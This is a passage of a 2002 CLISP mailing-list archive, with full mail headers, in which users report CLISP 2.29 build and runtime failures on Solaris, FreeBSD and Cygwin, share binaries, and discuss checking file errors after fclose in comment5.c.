3.31-VA-mm2 #1 (Debian)) id 17YFIa-0000rs-00 for ; Fri, 26 Jul 2002 17:19:08 -0700 Message-ID: <20020727001908.38888.qmail@web14504.mail.yahoo.com> Received: from [198.95.226.224] by web14504.mail.yahoo.com via HTTP; Fri, 26 Jul 2002 17:19:08 PDT From: Jeffrey Katcher Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 17:20:02 2002 X-Original-Date: Fri, 26 Jul 2002 17:19:08 -0700 (PDT) I'd be happy to provide binaries from my working versions. Just let me know what procedure you'd like me to follow. I have Solaris 2.8/Sparc, FreeBSD/i386, & FreeBSD/Alpha (my larger machines were purchased at scrap prices on eBay). Right now I have 2.29 Sparc & FreeBSD/i386 working, both built with Gcc2.95.2. FreeBSD/Alpha is totally broken with 2.29 (crapping out in the make in the segv handler test with all 3 compilers). A Sparc GCC 3.1/3.1.1 build hasn't yet happened. Jeff __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From sds@gnu.org Fri Jul 26 20:04:21 2002 Received: from pool-151-203-30-217.bos.east.verizon.net ([151.203.30.217] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17YHsT-00045m-00 for ; Fri, 26 Jul 2002 20:04:21 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g6R35Hi24415; Fri, 26 Jul 2002 23:05:17 -0400 To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 References: <20020727001908.38888.qmail@web14504.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020727001908.38888.qmail@web14504.mail.yahoo.com> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 26 20:05:04 2002 X-Original-Date: 26 Jul 2002 23:05:17 -0400 > * In message <20020727001908.38888.qmail@web14504.mail.yahoo.com> > * On the subject of "Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1" > * Sent on Fri, 26 Jul 2002 17:19:08 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > I'd be happy to provide binaries from my working versions. > Just let me know what procedure you'd like me to follow. 'make distrib' in your build directory and put the clisp-2.29-'platform-id'.tar,gz somewhere I could download it from. > FreeBSD/Alpha is totally broken with 2.29 (crapping out in the make in > the segv handler test with all 3 compilers). I think this has been fixed in the CVS but not put into the 2.29. Could you please check that the CVS head works on your platforms? thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux I don't have an attitude problem. You have a perception problem. From jmkatcher@yahoo.com Mon Jul 29 09:29:57 2002 Received: from web14507.mail.yahoo.com ([216.136.224.70]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ZDPB-0007kC-00 for ; Mon, 29 Jul 2002 09:29:57 -0700 Message-ID: <20020729162939.38886.qmail@web14507.mail.yahoo.com> Received: from [198.95.226.224] by web14507.mail.yahoo.com via HTTP; Mon, 29 Jul 2002 09:29:39 PDT From: Jeffrey Katcher Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 29 09:30:16 2002 X-Original-Date: Mon, 29 Jul 2002 09:29:39 -0700 (PDT) clisp-2.29-sun4-sparc-sunos-5.8.tar.gz clisp-2.29-i386-i386-freebsd-4.6-STABLE.tar.gz have been uploaded to telia.dl.sourceforge.net/incoming. If someone could move them to the appropriate place... __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From samuel.steingold@verizon.net Mon Jul 29 10:02:15 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ZDuQ-0003kq-00 for ; Mon, 29 Jul 2002 10:02:14 -0700 Received: (cpmta 25687 invoked from network); 29 Jul 2002 10:02:07 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 29 Jul 2002 10:02:07 -0700 X-Sent: 29 Jul 2002 17:02:07 GMT To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1 References: <20020729162939.38886.qmail@web14507.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020729162939.38886.qmail@web14507.mail.yahoo.com> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 29 10:03:02 2002 X-Original-Date: 29 Jul 2002 13:02:05 -0400 > * In message <20020729162939.38886.qmail@web14507.mail.yahoo.com> > * On the subject of "Re: [clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1" > * Sent on Mon, 29 Jul 2002 09:29:39 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > clisp-2.29-sun4-sparc-sunos-5.8.tar.gz cool. which gcc? any tweaks? > clisp-2.29-i386-i386-freebsd-4.6-STABLE.tar.gz > > have been uploaded to > telia.dl.sourceforge.net/incoming. > > If someone could move them to the appropriate place... I copied them to the usual CLISP distribution places. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux I haven't lost my mind -- it's backed up on tape somewhere. From dyoung@bloodhoundinc.com Wed Jul 31 10:06:46 2002 Received: from [63.126.105.7] (helo=mail.bloodhoundinc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Zwvt-0003zy-00 for ; Wed, 31 Jul 2002 10:06:45 -0700 Received: from jarjar.bhusa.bhsoftware.com (mail.bhsoftware.com [10.1.0.222]) by mail.bloodhoundinc.com (8.11.6/8.11.6) with ESMTP id g6VGr7113897 for ; Wed, 31 Jul 2002 12:53:07 -0400 Received: by jarjar.bhusa.bhsoftware.com with Internet Mail Service (5.5.2653.19) id ; Wed, 31 Jul 2002 13:00:05 -0400 Message-ID: <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> From: "Young, David" To: "'clisp-list@lists.sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Trouble running on cygwin, Windows 2000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 31 10:07:06 2002 X-Original-Date: Wed, 31 Jul 2002 13:00:05 -0400 Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin 1.13.12/windows 2000. However, after installing (make install), running clisp results in an endless loop of "UNIX error 13" messages: bash-2.05b$ clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ... ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished. [1]> *** - UNIX error 13 (EACCES): Permission denied *** - UNIX error 13 (EACCES): Permission denied ... [1]+ Stopped clisp I'd appreciate suggestions. Oh, and note that building clisp on my Vaio notebook (P-III mobile), Windows 2000, cygwin, results in an internal compiler error for gcc. But, I suppose this is a gcc problem and should be reported to the proper authorities. Cheers, -- ------------------------------------------ David E. Young dyoung@bloodhoundinc.com http://www.bloodhoundinc.com "Those who expect to reap the blessings of liberty must undergo the fatigues of supporting it." -- Thomas Paine "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From dyoung@bloodhoundinc.com Wed Jul 31 11:50:06 2002 Received: from [63.126.105.7] (helo=mail.bloodhoundinc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ZyXt-0000wC-00 for ; Wed, 31 Jul 2002 11:50:05 -0700 Received: from jarjar.bhusa.bhsoftware.com (mail.bhsoftware.com [10.1.0.222]) by mail.bloodhoundinc.com (8.11.6/8.11.6) with ESMTP id g6VIZu114718; Wed, 31 Jul 2002 14:35:56 -0400 Received: by jarjar.bhusa.bhsoftware.com with Internet Mail Service (5.5.2653.19) id ; Wed, 31 Jul 2002 14:42:54 -0400 Message-ID: <23B38FECB4213142A4E017F783B3391D503C35@jarjar.bhusa.bhsoftware.com> From: "Young, David" To: "'Jeremy Doolin'" Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] Trouble running on cygwin, Windows 2000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 31 11:51:02 2002 X-Original-Date: Wed, 31 Jul 2002 14:42:52 -0400 Hi Jeremy. No, you're not being pompous. And, I understand your question. Let's see if I can answer it, at least from my perspective. First, let me say that I've been an exclusive "unix" user (with a smattering of Symbolics and Apple) for over 17 years. It's only within the last 12 months that I've found myself working on Windows platforms. The reality is that 1) right now I build expert systems for a living; and 2) the environments I use, as determined by my employers, happen to run on Windows 2000. Now. I'm at a stage in my life where I strive for simplicity. Since I use win2k at work, and I often work at home, I use win2k there as well. I just don't want a mix of machines where I use one for my bread-and-butter work, another for my open source work. I now have a single machine -- my notebook -- that serves both purposes. It runs win2k. So. Why cygwin? For me, the simplest answer I can give is that cygwin allows me to build a hybrid environment that yields an acceptable "computing platform" for my daily efforts. I'd really like to use VMware to host Linux on my notebook, but I can't justify the $300 price tag to my Better Half. It's worth the money, I just can't justify it. I want clisp on cygwin because, for command line stuff, I prefer working within the bash/cygwin environment, given the constraints I've previously described. And, since clisp is one of the supported Lisp platforms for my sourceforge project, well... Finally, building clisp on a new (for myself) platform was fun. It was an interesting distraction. Hope this helps. -- dey -----Original Message----- From: Jeremy Doolin [mailto:jdoolin@cs.ohiou.edu] Sent: Wednesday, July 31, 2002 2:29 PM To: Young, David Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 Ok, I have to know something. I've been listening on this list for some time now and I see a plethora of Cygwin problems. It seems as though every couple days, somebody is having a problem getting clisp to work on Cygwin. My question is this: Why run Cygwin? From youngde@nc.rr.com Wed Jul 31 11:59:10 2002 Received: from odbc.e-mailanywhere.com.0-25.151.5.209.in-addr.arpa ([209.5.151.11] helo=mail2) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Zygf-0005PJ-00 for ; Wed, 31 Jul 2002 11:59:09 -0700 Received: from ATP2 (unverified [209.5.151.82]) by mail2 (Rockliffe SMTPRA 4.2.2) with ESMTP id for ; Wed, 31 Jul 2002 12:28:08 -0700 Message-ID: <3601310.1028142059187.JavaMail.Administrator@ATP2> From: youngde Reply-To: youngde@nc.rr.com To: clisp-list@lists.sourceforge.net Subject: Re: RE: [clisp-list] Trouble running on cygwin, Windows 2000 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: E-mailanywhere V2.0 (Windows) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 31 12:00:02 2002 X-Original-Date: Wed, 31 Jul 2002 12:00:59 -0700 (PDT) Forgive me. Intended to reply just to Jeremy. Sigh... -- dey >On Wed, 31 Jul 2002 14:42:52 -0400 "Young, David" wrote. >Hi Jeremy. No, you're not being pompous. And, I understand your question. >Let's see if I can answer it, at least from my perspective... From a.bignoli@computer.org Wed Jul 31 15:51:01 2002 Received: from [212.110.54.10] (helo=shark.fauser.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a2J3-0002J2-00 for ; Wed, 31 Jul 2002 15:51:01 -0700 Received: from ghimel.fauser.it (root@pool2-ip3.fauser.it [212.110.54.98]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id AAA31687 for ; Thu, 1 Aug 2002 00:50:27 +0200 (MET DST) Received: from dalet.fauser.it (root@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.11.6/8.11.4) with ESMTP id g6VMkNv00523 for ; Thu, 1 Aug 2002 00:46:23 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.11.6/8.11.4) id g6VMoDA30237; Thu, 1 Aug 2002 00:50:13 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15688.27045.520589.330797@dalet.fauser.it> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.03 under Emacs 20.7.2 Subject: [clisp-list] Problems with latest CVS version of comment5.c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 31 15:51:04 2002 X-Original-Date: Thu, 1 Aug 2002 00:50:13 +0200 Yesterday I updated my local copy from CVS and then I tried to rebuild CLISP, but I got the following error: $ make gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none ../utils/comment5.c -o comment5 ln -s ../utils/ansidecl.d ansidecl.d ./comment5 ansidecl.d ansidecl.c ansidecl.d: Success make: *** [ansidecl] Error 124 $ When not zero, comment5 exit status is the number of the line where the error occurred: 120 /* close files: */ 121 fclose(infile); 122 fclose(outfile); 123 if (ferror(infile)) 124 { perror(infilenamebuffer); exit(__LINE__); } 125 if (ferror(outfile)) 126 { perror(outfilenamebuffer); exit(__LINE__); } 127 exit(0); /* OK */ Does it make sense to test file error after closing the file? I moved the tests before fclose and it worked as usual. Ciao, Aurelio -- Aurelio Bignoli Via Viviani, 10 a.bignoli@computer.org I-28100 Novara NO Italia From youngde@nc.rr.com Wed Jul 31 18:41:15 2002 Received: from smtp2.southeast.rr.com ([24.93.67.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a4xj-0000cq-00 for ; Wed, 31 Jul 2002 18:41:11 -0700 Received: from mail5.nc.rr.com (fe5 [24.93.67.52]) by smtp2.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g710ERts026025 for ; Wed, 31 Jul 2002 20:14:27 -0400 (EDT) Received: from saipan ([66.26.54.3]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 31 Jul 2002 20:13:24 -0400 Message-ID: <003101c238ef$d794d630$6401a8c0@saipan> From: "David E. Young" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] Cygwin nt 5 binary fails to build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 31 18:42:02 2002 X-Original-Date: Wed, 31 Jul 2002 20:10:28 -0400 Greetings. Just downloaded the clisp 2.29 binary for cygwin and Windows NT. I'm guessing this build is for Windows 2000 due to the "5.0" in the file name, but I could be wrong (in which case I probably shouldn't be here). In any event, per the README, from bash I type 'make' and receive this: bash-2.05b$ make gcc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libiconv.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm -o base/lisp.run base/libintl.a: file not recognized: File format not recognized collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 Thought you folks would like to know... Regards, -- ------------------------------------------ David E. Young de.young@computer.org http://lisa.sourceforge.net "Those who expect to reap the blessings of liberty must undergo the fatigues of supporting it." -- Thomas Paine "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From David.Billinghurst@riotinto.com Wed Jul 31 18:51:06 2002 Received: from mail.riotinto.com.au ([57.70.13.254]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a57J-0003M0-00 for ; Wed, 31 Jul 2002 18:51:05 -0700 Received: from CORESMTP1.ex.riotinto.org ([127.0.0.1]) by mail.riotinto.com.au with Microsoft SMTPSVC(5.0.2195.4821); Thu, 1 Aug 2002 11:50:57 +1000 Received: from 203.3.63.116 by CORESMTP1.ex.riotinto.org (InterScan E-Mail VirusWall NT); Thu, 01 Aug 2002 11:50:57 +1000 Received: from tbspmail.corp.riotinto.org ([192.207.121.96]) by corehub1.ex.riotinto.org with Microsoft SMTPSVC(5.0.2195.4821); Thu, 1 Aug 2002 11:50:49 +1000 Received: from crtsmail.corp.riotinto.org ([203.4.72.10]) by tbspmail.corp.riotinto.org with Microsoft SMTPSVC(5.0.2195.2966); Thu, 1 Aug 2002 09:50:48 +0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] Cygwin nt 5 binary fails to build X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Cygwin nt 5 binary fails to build Thread-Index: AcI4/TNJOv69+1hxQL6QRdgRkAt7xQAAFPTw From: "Billinghurst, David (CRTS)" To: "David E. Young" , X-OriginalArrivalTime: 01 Aug 2002 01:50:48.0192 (UTC) FILETIME=[DB991800:01C238FD] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 31 18:52:01 2002 X-Original-Date: Thu, 1 Aug 2002 11:49:06 +1000 Same problem yesterday. =20 Some of the .a files (including base/libavcall.a) are windows shortcuts, = and not object libraries. -----Original Message----- From: David E. Young [mailto:youngde@nc.rr.com] Sent: Thursday, 1 August 2002 10:10=20 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Cygwin nt 5 binary fails to build Greetings. Just downloaded the clisp 2.29 binary for cygwin and Windows = NT. I'm guessing this build is for Windows 2000 due to the "5.0" in the file name, but I could be wrong (in which case I probably shouldn't be here). In any event, per the README, from bash I type 'make' and receive this: bash-2.05b$ make gcc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libiconv.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm -o base/lisp.run base/libintl.a: file not recognized: File format not recognized collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 Thought you folks would like to know... Regards, -- ------------------------------------------ David E. Young de.young@computer.org http://lisa.sourceforge.net "Those who expect to reap the blessings of liberty must undergo the fatigues of supporting it." -- Thomas Paine "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=3D31 _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 01 00:40:18 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aAZE-0004ja-00 for ; Thu, 01 Aug 2002 00:40:16 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 1 Aug 2002 09:40:05 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 09:40:05 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] is regexp included in CLISP 2.29 binary for ms-windows (native, n ot cygwin)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 00:41:02 2002 X-Original-Date: Thu, 1 Aug 2002 09:40:03 +0200 Hi, does the MS-win32 binary for 2.29 found on sourceforge/FILES include = the regexp module? I never got an e-mail response for my query to the gnu/regexp people = about whether they want to include the alloca patch for MS-VisualC in = their sources. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 01 00:49:20 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aAhy-0007VE-00 for ; Thu, 01 Aug 2002 00:49:18 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 1 Aug 2002 09:49:10 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 09:49:09 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: a.bignoli@computer.org, clisp-list@lists.sourceforge.net Subject: [clisp-list] Problems with latest CVS version of comment5.c MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 00:50:02 2002 X-Original-Date: Thu, 1 Aug 2002 09:49:08 +0200 > 120 /* close files: */ > 121 fclose(infile); > 122 fclose(outfile); > 123 if (ferror(infile)) > 124 { perror(infilenamebuffer); exit(__LINE__); } > 125 if (ferror(outfile)) > 126 { perror(outfilenamebuffer); exit(__LINE__); } > 127 exit(0); /* OK */ > >Does it make sense to test file error after closing the file? I moved >the tests before fclose and it worked as usual. In computing theory: yes In practice: don't know. It depends on lots of libraries, specifications, broken code etc. What you could try out is move the test for infile befor closing outfile. It makes sense (in theory) to check the close status because for example the last writes to a file may be issued only when close() is encoutered, thanks to internal buffering. Thus checking the status of the last write (or of any write) is no guarantee that stuff gots successfully written. E.g. suppose you write less than 8000 bytes to a file, while many UNIX write in 8192 byte blocks. It's only after the close() that the file will really be written. Every write before that is one to memory only. Even worse, closing the file still does not give you a guarantee that something has really been written to disk. E.g., on Sun machines, the sync process runs every 30 seconds to flush buffers. It also means that things get eventually written to disk long after an application has terminated. So in general, an application cannot know for sure whether a write to a file actually hit the disk. It is out of the scope of the application to ensure this. It involves file-systems etc. (journaling or loggin file systems etc.). Regards, Jorg. From ampy@ich.dvo.ru Thu Aug 01 01:40:46 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aBVO-0008CD-00 for ; Thu, 01 Aug 2002 01:40:23 -0700 Received: from ppp113-AS-2.vtc.ru (ppp113-AS-2.vtc.ru [212.16.216.113]) by vtc.ru (8.12.4/8.12.4) with ESMTP id g718dUmj020044; Thu, 1 Aug 2002 19:39:42 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1231375437.20020801194219@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] is regexp included in CLISP 2.29 binary for ms-windows (native, n ot cygwin)? In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 01:41:04 2002 X-Original-Date: Thu, 1 Aug 2002 19:42:19 +1000 Hi, Thursday, August 01, 2002, 5:40:03 PM, you wrote: Joerg-Cyril> does the MS-win32 binary for 2.29 found on Joerg-Cyril> sourceforge/FILES include the regexp module? I think it doesn't (if it's mine). I never worked with clisp modules in its native enviroinment (UNIX), so was unable to produce such distribution. You mentioned your article about clisp modules, is it ready ? -- Best regards, Arseny From rurban@x-ray.at Thu Aug 01 04:51:46 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17aEUZ-0000xn-00 for ; Thu, 01 Aug 2002 04:51:44 -0700 Received: from torwaechter.inode.at ([213.229.17.132] helo=x-ray.at) by smtp.inode.at with esmtp (Exim 3.34 #1) id 17aEUS-0001aN-00 for clisp-list@lists.sourceforge.net; Thu, 01 Aug 2002 13:51:36 +0200 Message-ID: <3D4920C6.8020701@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530 X-Accept-Language: de-at, de, en-us, en MIME-Version: 1.0 To: "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 References: <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 04:52:04 2002 X-Original-Date: Thu, 01 Aug 2002 12:51:34 +0100 Young, David schrieb: > Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin > 1.13.12/windows 2000. However, after installing (make install), running > clisp results in an 